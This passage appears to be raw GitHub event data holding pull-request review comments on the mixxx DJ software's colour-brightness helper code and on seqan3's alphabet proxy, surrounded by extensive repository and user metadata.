events{/privacy}","received_events_url":"https://api.github.com/users/owncloud/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/owncloud/phoenix","description":"Next generation frontend for ownCloud","fork":false,"url":"https://api.github.com/repos/owncloud/phoenix","forks_url":"https://api.github.com/repos/owncloud/phoenix/forks","keys_url":"https://api.github.com/repos/owncloud/phoenix/keys{/key_id}","collaborators_url":"https://api.github.com/repos/owncloud/phoenix/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/owncloud/phoenix/teams","hooks_url":"https://api.github.com/repos/owncloud/phoenix/hooks","issue_events_url":"https://api.github.com/repos/owncloud/phoenix/issues/events{/number}","events_url":"https://api.github.com/repos/owncloud/phoenix/events","assignees_url":"https://api.github.com/repos/owncloud/phoenix/assignees{/user}","branches_url":"https://api.github.com/repos/owncloud/phoenix/branches{/branch}","tags_url":"https://api.github.com/repos/owncloud/phoenix/tags","blobs_url":"https://api.github.com/repos/owncloud/phoenix/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/owncloud/phoenix/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/owncloud/phoenix/git/refs{/sha}","trees_url":"https://api.github.com/repos/owncloud/phoenix/git/trees{/sha}","statuses_url":"https://api.github.com/repos/owncloud/phoenix/statuses/{sha}","languages_url":"https://api.github.com/repos/owncloud/phoenix/languages","stargazers_url":"https://api.github.com/repos/owncloud/phoenix/stargazers","contributors_url":"https://api.github.com/repos/owncloud/phoenix/contributors","subscribers_url":"https://api.github.com/repos/owncloud/phoenix/subscribers","subscription_url":"https://api.github.com/repos/owncloud/phoenix/subscription","commits_url":"https://api.github.com/repos/owncloud/phoenix/commits{/sha}","git_commits_url":"https://api.github.com/repos/owncloud/phoenix/git/commits{/sha}","comments_url":"https://api.github.com/repos/owncloud/phoenix/comments{/number}","issue_comment_url":"https://api.github.com/repos/owncloud/phoenix/issues/comments{/number}","contents_url":"https://api.github.com/repos/owncloud/phoenix/contents/{+path}","compare_url":"https://api.github.com/repos/owncloud/phoenix/compare/{base}...{head}","merges_url":"https://api.github.com/repos/owncloud/phoenix/merges","archive_url":"https://api.github.com/repos/owncloud/phoenix/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/owncloud/phoenix/downloads","issues_url":"https://api.github.com/repos/owncloud/phoenix/issues{/number}","pulls_url":"https://api.github.com/repos/owncloud/phoenix/pulls{/number}","milestones_url":"https://api.github.com/repos/owncloud/phoenix/milestones{/number}","notifications_url":"https://api.github.com/repos/owncloud/phoenix/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/owncloud/phoenix/labels{/name}","releases_url":"https://api.github.com/repos/owncloud/phoenix/releases{/id}","deployments_url":"https://api.github.com/repos/owncloud/phoenix/deployments","created_at":"2018-02-16T16:05:05Z","updated_at":"2019-12-03T09:57:29Z","pushed_at":"2019-12-04T05:47:28Z","git_url":"git://github.com/owncloud/phoenix.git","ssh_url":"git@github.com:owncloud/phoenix.git","clone_url":"https://github.com/owncloud/phoenix.git","svn_url":"https://github.com/owncloud/phoenix","homepage":"https://phoenix.owncloud.com/custom/phoenix/index.html#/login","size":21732,"stargazers_count":119,"watchers_count":119,"language":"Gherkin","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":32,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":237,"license":{"key":"agpl-3.0","name":"GNU Affero General Public License v3.0","spdx_id":"AGPL-3.0","url":"https://api.github.com/licenses/agpl-3.0","node_id":"MDc6TGljZW5zZTE="},"forks":32,"open_issues":237,"watchers":119,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/owncloud/phoenix/pulls/2502"},"html":{"href":"https://github.com/owncloud/phoenix/pull/2502"},"issue":{"href":"https://api.github.com/repos/owncloud/phoenix/issues/2502"},"comments":{"href":"https://api.github.com/repos/owncloud/phoenix/issues/2502/comments"},"review_comments":{"href":"https://api.github.com/repos/owncloud/phoenix/pulls/2502/comments"},"review_comment":{"href":"https://api.github.com/repos/owncloud/phoenix/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/owncloud/phoenix/pulls/2502/commits"},"statuses":{"href":"https://api.github.com/repos/owncloud/phoenix/statuses/64cc87cc4a4f7ef6174a548812976273e2cde572"}},"author_association":"MEMBER"}}
|
{
"id": 121770401,
"name": "owncloud/phoenix",
"url": "https://api.github.com/repos/owncloud/phoenix"
}
|
{
"id": 18718008,
"login": "skshetry",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/18718008?",
"url": "https://api.github.com/users/skshetry"
}
|
{
"id": 1645051,
"login": "owncloud",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1645051?",
"url": "https://api.github.com/orgs/owncloud"
}
| 2019-12-04T05:24:53 |
11006527643
|
{"actor":{"display_login":"skshetry"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/mixxxdj/mixxx/pulls/comments/253298356","pull_request_review_id":199382692,"id":253298356,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI1MzI5ODM1Ng==","diff_hunk":"@@ -0,0 +1,55 @@\n+#ifndef PREDEFINEDCOLORSET_H\n+#define PREDEFINEDCOLORSET_H\n+\n+#include <QColor>\n+#include <QHash>\n+\n+#include \"predefinedcolorsset.h\"\n+#include \"util/math.h\"\n+\n+namespace Color {\n+ static const PredefinedColorsSet predefinedColorSet = PredefinedColorsSet();\n+\n+ // algorithm by http://www.nbdtech.com/Blog/archive/2008/04/27/Calculating-the-Perceived-Brightness-of-a-Color.aspx\n+ // NOTE(Swiftb0y): please suggest if I should you use other methods\n+ // (like the W3C algorithm) or if this approach is to to performance hungry\n+ // NOTE: the author did not take alpha transparency into account!\n+ static inline int brightness(int red, int green, int blue) {\n+ return static_cast<int>(sqrtf(\n+ red * red * .241 +\n+ green * green * .691 +\n+ blue * blue * .068)\n+ );\n+ };\n+\n+ static inline int brightness(const QColor& color) {\n+ return brightness(color.red(), color.green(), color.red());\n+ }\n+\n+ static inline bool isDimmColor(const QColor& color) {\n+ return brightness(color) <= 127;\n+ }\n+\n+ // If the colorToChooseBy is darker than the global threshold,\n+ // dimmColor will be returned. Otherwise brightColor will be returned.\n+ static inline QColor chooseColorByBrightness(QColor colorToChooseBy, QColor dimmColor , QColor brightColor) {\n+ return isDimmColor(colorToChooseBy) ? dimmColor : brightColor;\n+ }\n+\n+ // If the baseColor is darker than the global threshold,\n+ // returns white, otherwise returns black.\n+ static inline QColor chooseContrastColor(QColor baseColor) {\n+ QColor lightColor = baseColor.lighter();\n+ QColor darkColor = baseColor.darker();\n+\n+ // QColor::lighter() multiplies the HSV Value by some factor. When baseColor is black, Value is 0,\n+ // thus after multiplication it's still 0 and we get the same color.\n+ // We manually set lightColor to darkGray in this case.\n+ if (baseColor.toHsv().value() == 0) {","path":"src/util/color/color.h","position":48,"original_position":48,"commit_id":"e1db34d770bbfe6e7df45c27b0131054ddc6926e","original_commit_id":"bfca628b63e1c17ca462a3cfa81f276410d3ed64","user":{"login":"daschuer","id":1777442,"node_id":"MDQ6VXNlcjE3Nzc0NDI=","avatar_url":"https://avatars3.githubusercontent.com/u/1777442?v=4","gravatar_id":"","url":"https://api.github.com/users/daschuer","html_url":"https://github.com/daschuer","followers_url":"https://api.github.com/users/daschuer/followers","following_url":"https://api.github.com/users/daschuer/following{/other_user}","gists_url":"https://api.github.com/users/daschuer/gists{/gist_id}","starred_url":"https://api.github.com/users/daschuer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/daschuer/subscriptions","organizations_url":"https://api.github.com/users/daschuer/orgs","repos_url":"https://api.github.com/users/daschuer/repos","events_url":"https://api.github.com/users/daschuer/events{/privacy}","received_events_url":"https://api.github.com/users/daschuer/received_events","type":"User","site_admin":false},"body":"No, the HSV conversion is OK. value() (V of HSV) is the brightness. If this is already near 0, plain black dos not look different. \r\n\r\nSee the implementation of darker: \r\nhttps://github.com/qt/qtbase/blob/5733dfbd90fd059e7310786faefb022b00289592/src/gui/painting/qcolor.cpp#L2740\r\nIt just does V = V / 2 for darker and\r\nV = V * 1.5 for lighter. \r\n\r\nI think we should inline the lighter() and darker() code to get around multiple Hsv conversions. \r\n\r\nHow about to use 5 % V as minimum difference before using the transparent trick for darker and brighter? \r\n \r\n\r\n\r\n\r\n\r\n\r\n","created_at":"2019-02-03T11:38:09Z","updated_at":"2019-02-03T11:40:05Z","html_url":"https://github.com/mixxxdj/mixxx/pull/2016#discussion_r253298356","pull_request_url":"https://api.github.com/repos/mixxxdj/mixxx/pulls/2016","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/mixxxdj/mixxx/pulls/comments/253298356"},"html":{"href":"https://github.com/mixxxdj/mixxx/pull/2016#discussion_r253298356"},"pull_request":{"href":"https://api.github.com/repos/mixxxdj/mixxx/pulls/2016"}},"in_reply_to_id":252944809},"pull_request":{"url":"https://api.github.com/repos/mixxxdj/mixxx/pulls/2016","id":249029304,"node_id":"MDExOlB1bGxSZXF1ZXN0MjQ5MDI5MzA0","html_url":"https://github.com/mixxxdj/mixxx/pull/2016","diff_url":"https://github.com/mixxxdj/mixxx/pull/2016.diff","patch_url":"https://github.com/mixxxdj/mixxx/pull/2016.patch","issue_url":"https://api.github.com/repos/mixxxdj/mixxx/issues/2016","number":2016,"state":"open","locked":false,"title":"[WIP] Enable setting hotcue color via controlobject","user":{"login":"ferranpujolcamins","id":6429775,"node_id":"MDQ6VXNlcjY0Mjk3NzU=","avatar_url":"https://avatars1.githubusercontent.com/u/6429775?v=4","gravatar_id":"","url":"https://api.github.com/users/ferranpujolcamins","html_url":"https://github.com/ferranpujolcamins","followers_url":"https://api.github.com/users/ferranpujolcamins/followers","following_url":"https://api.github.com/users/ferranpujolcamins/following{/other_user}","gists_url":"https://api.github.com/users/ferranpujolcamins/gists{/gist_id}","starred_url":"https://api.github.com/users/ferranpujolcamins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ferranpujolcamins/subscriptions","organizations_url":"https://api.github.com/users/ferranpujolcamins/orgs","repos_url":"https://api.github.com/users/ferranpujolcamins/repos","events_url":"https://api.github.com/users/ferranpujolcamins/events{/privacy}","received_events_url":"https://api.github.com/users/ferranpujolcamins/received_events","type":"User","site_admin":false},"body":"Supersedes https://github.com/mixxxdj/mixxx/pull/1830 (thanks @Swiftb0y for your work!)\r\n\r\n- There's a \"No Color\" color. Skins will be allowed to provide a fall-back color to render cues with this color.\r\n- Cue colors are now represented by an id number in COs and DB. This will allow us to safely change the color names and Hex code in the future without braking users cues.\r\n- Adjustments to hotcue mark rendering\r\n\r\nTODO:\r\n- [ ] Expose PredefinedColor to ControllerEngine and provide appropriate api\r\n - [ ] Test with a controller\r\n- [x] Allow skins to define a fall-back color for No Color cues\r\n - [ ] Add docs to wiki\r\n- [x] Better code comments on util/color","created_at":"2019-01-30T21:07:40Z","updated_at":"2019-02-03T11:40:04Z","closed_at":null,"merged_at":null,"merge_commit_sha":"dd5e2058f539ce315d8ad27e9449063d2cb2dc5d","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/mixxxdj/mixxx/pulls/2016/commits","review_comments_url":"https://api.github.com/repos/mixxxdj/mixxx/pulls/2016/comments","review_comment_url":"https://api.github.com/repos/mixxxdj/mixxx/pulls/comments{/number}","comments_url":"https://api.github.com/repos/mixxxdj/mixxx/issues/2016/comments","statuses_url":"https://api.github.com/repos/mixxxdj/mixxx/statuses/e1db34d770bbfe6e7df45c27b0131054ddc6926e","head":{"label":"ferranpujolcamins:Enable-Setting-hotcue-color-via-controlobject","ref":"Enable-Setting-hotcue-color-via-controlobject","sha":"e1db34d770bbfe6e7df45c27b0131054ddc6926e","user":{"login":"ferranpujolcamins","id":6429775,"node_id":"MDQ6VXNlcjY0Mjk3NzU=","avatar_url":"https://avatars1.githubusercontent.com/u/6429775?v=4","gravatar_id":"","url":"https://api.github.com/users/ferranpujolcamins","html_url":"https://github.com/ferranpujolcamins","followers_url":"https://api.github.com/users/ferranpujolcamins/followers","following_url":"https://api.github.com/users/ferranpujolcamins/following{/other_user}","gists_url":"https://api.github.com/users/ferranpujolcamins/gists{/gist_id}","starred_url":"https://api.github.com/users/ferranpujolcamins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ferranpujolcamins/subscriptions","organizations_url":"https://api.github.com/users/ferranpujolcamins/orgs","repos_url":"https://api.github.com/users/ferranpujolcamins/repos","events_url":"https://api.github.com/users/ferranpujolcamins/events{/privacy}","received_events_url":"https://api.github.com/users/ferranpujolcamins/received_events","type":"User","site_admin":false},"repo":{"id":24024558,"node_id":"MDEwOlJlcG9zaXRvcnkyNDAyNDU1OA==","name":"mixxx","full_name":"ferranpujolcamins/mixxx","private":false,"owner":{"login":"ferranpujolcamins","id":6429775,"node_id":"MDQ6VXNlcjY0Mjk3NzU=","avatar_url":"https://avatars1.githubusercontent.com/u/6429775?v=4","gravatar_id":"","url":"https://api.github.com/users/ferranpujolcamins","html_url":"https://github.com/ferranpujolcamins","followers_url":"https://api.github.com/users/ferranpujolcamins/followers","following_url":"https://api.github.com/users/ferranpujolcamins/following{/other_user}","gists_url":"https://api.github.com/users/ferranpujolcamins/gists{/gist_id}","starred_url":"https://api.github.com/users/ferranpujolcamins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ferranpujolcamins/subscriptions","organizations_url":"https://api.github.com/users/ferranpujolcamins/orgs","repos_url":"https://api.github.com/users/ferranpujolcamins/repos","events_url":"https://api.github.com/users/ferranpujolcamins/events{/privacy}","received_events_url":"https://api.github.com/users/ferranpujolcamins/received_events","type":"User","site_admin":false},"html_url":"https://github.com/ferranpujolcamins/mixxx","description":"Mixxx is Free DJ software that gives you everything you need to perform live mixes.","fork":true,"url":"https://api.github.com/repos/ferranpujolcamins/mixxx","forks_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/forks","keys_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/teams","hooks_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/hooks","issue_events_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/issues/events{/number}","events_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/events","assignees_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/assignees{/user}","branches_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/branches{/branch}","tags_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/tags","blobs_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/git/refs{/sha}","trees_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/statuses/{sha}","languages_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/languages","stargazers_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/stargazers","contributors_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/contributors","subscribers_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/subscribers","subscription_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/subscription","commits_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/commits{/sha}","git_commits_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/git/commits{/sha}","comments_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/comments{/number}","issue_comment_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/issues/comments{/number}","contents_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/contents/{+path}","compare_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/merges","archive_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/downloads","issues_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/issues{/number}","pulls_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/pulls{/number}","milestones_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/milestones{/number}","notifications_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/labels{/name}","releases_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/releases{/id}","deployments_url":"https://api.github.com/repos/ferranpujolcamins/mixxx/deployments","created_at":"2014-09-14T14:51:40Z","updated_at":"2019-01-31T17:59:26Z","pushed_at":"2019-02-02T21:13:40Z","git_url":"git://github.com/ferranpujolcamins/mixxx.git","ssh_url":"git@github.com:ferranpujolcamins/mixxx.git","clone_url":"https://github.com/ferranpujolcamins/mixxx.git","svn_url":"https://github.com/ferranpujolcamins/mixxx","homepage":"http://mixxx.org","size":300428,"stargazers_count":0,"watchers_count":0,"language":"C++","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"mixxxdj:master","ref":"master","sha":"97d1a4c99754ea61eb7899f9c0ca23e4667820e0","user":{"login":"mixxxdj","id":1743769,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE3NDM3Njk=","avatar_url":"https://avatars3.githubusercontent.com/u/1743769?v=4","gravatar_id":"","url":"https://api.github.com/users/mixxxdj","html_url":"https://github.com/mixxxdj","followers_url":"https://api.github.com/users/mixxxdj/followers","following_url":"https://api.github.com/users/mixxxdj/following{/other_user}","gists_url":"https://api.github.com/users/mixxxdj/gists{/gist_id}","starred_url":"https://api.github.com/users/mixxxdj/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mixxxdj/subscriptions","organizations_url":"https://api.github.com/users/mixxxdj/orgs","repos_url":"https://api.github.com/users/mixxxdj/repos","events_url":"https://api.github.com/users/mixxxdj/events{/privacy}","received_events_url":"https://api.github.com/users/mixxxdj/received_events","type":"Organization","site_admin":false},"repo":{"id":10126031,"node_id":"MDEwOlJlcG9zaXRvcnkxMDEyNjAzMQ==","name":"mixxx","full_name":"mixxxdj/mixxx","private":false,"owner":{"login":"mixxxdj","id":1743769,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE3NDM3Njk=","avatar_url":"https://avatars3.githubusercontent.com/u/1743769?v=4","gravatar_id":"","url":"https://api.github.com/users/mixxxdj","html_url":"https://github.com/mixxxdj","followers_url":"https://api.github.com/users/mixxxdj/followers","following_url":"https://api.github.com/users/mixxxdj/following{/other_user}","gists_url":"https://api.github.com/users/mixxxdj/gists{/gist_id}","starred_url":"https://api.github.com/users/mixxxdj/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mixxxdj/subscriptions","organizations_url":"https://api.github.com/users/mixxxdj/orgs","repos_url":"https://api.github.com/users/mixxxdj/repos","events_url":"https://api.github.com/users/mixxxdj/events{/privacy}","received_events_url":"https://api.github.com/users/mixxxdj/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/mixxxdj/mixxx","description":"Mixxx is Free DJ software that gives you everything you need to perform live mixes.","fork":false,"url":"https://api.github.com/repos/mixxxdj/mixxx","forks_url":"https://api.github.com/repos/mixxxdj/mixxx/forks","keys_url":"https://api.github.com/repos/mixxxdj/mixxx/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mixxxdj/mixxx/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mixxxdj/mixxx/teams","hooks_url":"https://api.github.com/repos/mixxxdj/mixxx/hooks","issue_events_url":"https://api.github.com/repos/mixxxdj/mixxx/issues/events{/number}","events_url":"https://api.github.com/repos/mixxxdj/mixxx/events","assignees_url":"https://api.github.com/repos/mixxxdj/mixxx/assignees{/user}","branches_url":"https://api.github.com/repos/mixxxdj/mixxx/branches{/branch}","tags_url":"https://api.github.com/repos/mixxxdj/mixxx/tags","blobs_url":"https://api.github.com/repos/mixxxdj/mixxx/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mixxxdj/mixxx/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mixxxdj/mixxx/git/refs{/sha}","trees_url":"https://api.github.com/repos/mixxxdj/mixxx/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mixxxdj/mixxx/statuses/{sha}","languages_url":"https://api.github.com/repos/mixxxdj/mixxx/languages","stargazers_url":"https://api.github.com/repos/mixxxdj/mixxx/stargazers","contributors_url":"https://api.github.com/repos/mixxxdj/mixxx/contributors","subscribers_url":"https://api.github.com/repos/mixxxdj/mixxx/subscribers","subscription_url":"https://api.github.com/repos/mixxxdj/mixxx/subscription","commits_url":"https://api.github.com/repos/mixxxdj/mixxx/commits{/sha}","git_commits_url":"https://api.github.com/repos/mixxxdj/mixxx/git/commits{/sha}","comments_url":"https://api.github.com/repos/mixxxdj/mixxx/comments{/number}","issue_comment_url":"https://api.github.com/repos/mixxxdj/mixxx/issues/comments{/number}","contents_url":"https://api.github.com/repos/mixxxdj/mixxx/contents/{+path}","compare_url":"https://api.github.com/repos/mixxxdj/mixxx/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mixxxdj/mixxx/merges","archive_url":"https://api.github.com/repos/mixxxdj/mixxx/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mixxxdj/mixxx/downloads","issues_url":"https://api.github.com/repos/mixxxdj/mixxx/issues{/number}","pulls_url":"https://api.github.com/repos/mixxxdj/mixxx/pulls{/number}","milestones_url":"https://api.github.com/repos/mixxxdj/mixxx/milestones{/number}","notifications_url":"https://api.github.com/repos/mixxxdj/mixxx/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mixxxdj/mixxx/labels{/name}","releases_url":"https://api.github.com/repos/mixxxdj/mixxx/releases{/id}","deployments_url":"https://api.github.com/repos/mixxxdj/mixxx/deployments","created_at":"2013-05-17T15:14:38Z","updated_at":"2019-02-02T08:27:10Z","pushed_at":"2019-02-03T10:42:40Z","git_url":"git://github.com/mixxxdj/mixxx.git","ssh_url":"git@github.com:mixxxdj/mixxx.git","clone_url":"https://github.com/mixxxdj/mixxx.git","svn_url":"https://github.com/mixxxdj/mixxx","homepage":"http://mixxx.org","size":304021,"stargazers_count":1213,"watchers_count":1213,"language":"C++","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":552,"mirror_url":null,"archived":false,"open_issues_count":93,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":552,"open_issues":93,"watchers":1213,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/mixxxdj/mixxx/pulls/2016"},"html":{"href":"https://github.com/mixxxdj/mixxx/pull/2016"},"issue":{"href":"https://api.github.com/repos/mixxxdj/mixxx/issues/2016"},"comments":{"href":"https://api.github.com/repos/mixxxdj/mixxx/issues/2016/comments"},"review_comments":{"href":"https://api.github.com/repos/mixxxdj/mixxx/pulls/2016/comments"},"review_comment":{"href":"https://api.github.com/repos/mixxxdj/mixxx/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/mixxxdj/mixxx/pulls/2016/commits"},"statuses":{"href":"https://api.github.com/repos/mixxxdj/mixxx/statuses/e1db34d770bbfe6e7df45c27b0131054ddc6926e"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 10126031,
"name": "mixxxdj/mixxx",
"url": "https://api.github.com/repos/mixxxdj/mixxx"
}
|
{
"id": 1777442,
"login": "daschuer",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1777442?",
"url": "https://api.github.com/users/daschuer"
}
|
{
"id": 1743769,
"login": "mixxxdj",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1743769?",
"url": "https://api.github.com/orgs/mixxxdj"
}
| 2019-02-03T11:38:09 |
8999568299
|
{"actor":{"display_login":"daschuer"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/seqan/seqan3/pulls/comments/254821978","pull_request_review_id":201263600,"id":254821978,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI1NDgyMTk3OA==","diff_hunk":"@@ -249,14 +249,14 @@ class alphabet_proxy : public alphabet_base<derived_type,\n requires alphabet_concept<alphabet_type>\n {","path":"include/seqan3/alphabet/detail/alphabet_proxy.hpp","position":2,"original_position":2,"commit_id":"6b5798fe7e191e28e43e53c75a86855191b72ef4","original_commit_id":"6b5798fe7e191e28e43e53c75a86855191b72ef4","user":{"login":"rrahn","id":1529364,"node_id":"MDQ6VXNlcjE1MjkzNjQ=","avatar_url":"https://avatars2.githubusercontent.com/u/1529364?v=4","gravatar_id":"","url":"https://api.github.com/users/rrahn","html_url":"https://github.com/rrahn","followers_url":"https://api.github.com/users/rrahn/followers","following_url":"https://api.github.com/users/rrahn/following{/other_user}","gists_url":"https://api.github.com/users/rrahn/gists{/gist_id}","starred_url":"https://api.github.com/users/rrahn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rrahn/subscriptions","organizations_url":"https://api.github.com/users/rrahn/orgs","repos_url":"https://api.github.com/users/rrahn/repos","events_url":"https://api.github.com/users/rrahn/events{/privacy}","received_events_url":"https://api.github.com/users/rrahn/received_events","type":"User","site_admin":false},"body":"preferrably, yes","created_at":"2019-02-07T18:55:33Z","updated_at":"2019-02-07T18:55:33Z","html_url":"https://github.com/seqan/seqan3/pull/717#discussion_r254821978","pull_request_url":"https://api.github.com/repos/seqan/seqan3/pulls/717","author_association":"COLLABORATOR","_links":{"self":{"href":"https://api.github.com/repos/seqan/seqan3/pulls/comments/254821978"},"html":{"href":"https://github.com/seqan/seqan3/pull/717#discussion_r254821978"},"pull_request":{"href":"https://api.github.com/repos/seqan/seqan3/pulls/717"}},"in_reply_to_id":253985249},"pull_request":{"url":"https://api.github.com/repos/seqan/seqan3/pulls/717","id":250125022,"node_id":"MDExOlB1bGxSZXF1ZXN0MjUwMTI1MDIy","html_url":"https://github.com/seqan/seqan3/pull/717","diff_url":"https://github.com/seqan/seqan3/pull/717.diff","patch_url":"https://github.com/seqan/seqan3/pull/717.patch","issue_url":"https://api.github.com/repos/seqan/seqan3/issues/717","number":717,"state":"open","locked":false,"title":"[Fix] alphabet proxy","user":{"login":"smehringer","id":7955878,"node_id":"MDQ6VXNlcjc5NTU4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/7955878?v=4","gravatar_id":"","url":"https://api.github.com/users/smehringer","html_url":"https://github.com/smehringer","followers_url":"https://api.github.com/users/smehringer/followers","following_url":"https://api.github.com/users/smehringer/following{/other_user}","gists_url":"https://api.github.com/users/smehringer/gists{/gist_id}","starred_url":"https://api.github.com/users/smehringer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/smehringer/subscriptions","organizations_url":"https://api.github.com/users/smehringer/orgs","repos_url":"https://api.github.com/users/smehringer/repos","events_url":"https://api.github.com/users/smehringer/events{/privacy}","received_events_url":"https://api.github.com/users/smehringer/received_events","type":"User","site_admin":false},"body":"","created_at":"2019-02-04T16:56:33Z","updated_at":"2019-02-07T18:55:33Z","closed_at":null,"merged_at":null,"merge_commit_sha":"9a37e8560b3c9763f6eac2a215e5bd331fc19807","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/seqan/seqan3/pulls/717/commits","review_comments_url":"https://api.github.com/repos/seqan/seqan3/pulls/717/comments","review_comment_url":"https://api.github.com/repos/seqan/seqan3/pulls/comments{/number}","comments_url":"https://api.github.com/repos/seqan/seqan3/issues/717/comments","statuses_url":"https://api.github.com/repos/seqan/seqan3/statuses/6b5798fe7e191e28e43e53c75a86855191b72ef4","head":{"label":"smehringer:fix_alphabet_proxy","ref":"fix_alphabet_proxy","sha":"6b5798fe7e191e28e43e53c75a86855191b72ef4","user":{"login":"smehringer","id":7955878,"node_id":"MDQ6VXNlcjc5NTU4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/7955878?v=4","gravatar_id":"","url":"https://api.github.com/users/smehringer","html_url":"https://github.com/smehringer","followers_url":"https://api.github.com/users/smehringer/followers","following_url":"https://api.github.com/users/smehringer/following{/other_user}","gists_url":"https://api.github.com/users/smehringer/gists{/gist_id}","starred_url":"https://api.github.com/users/smehringer/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/smehringer/subscriptions","organizations_url":"https://api.github.com/users/smehringer/orgs","repos_url":"https://api.github.com/users/smehringer/repos","events_url":"https://api.github.com/users/smehringer/events{/privacy}","received_events_url":"https://api.github.com/users/smehringer/received_events","type":"User","site_admin":false},"repo":{"id":85708703,"node_id":"MDEwOlJlcG9zaXRvcnk4NTcwODcwMw==","name":"seqan3","full_name":"smehringer/seqan3","private":false,"owner":{"login":"smehringer","id":7955878,"node_id":"MDQ6VXNlcjc5NTU4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/7955878?v=4","gravatar_id":"","url":"https://api.github.com/users/smehringer","html_url":"https://github.com/smehringer","followers_url":"https://api.github.com/users/smehringer/followers","following_url":"https://api.github.com/users/smehringer/following{/other_user}","gists_url":"https://api.github.com/users/smehringer/gists{/gist_id}","starred_url":"https://api.github.com/users/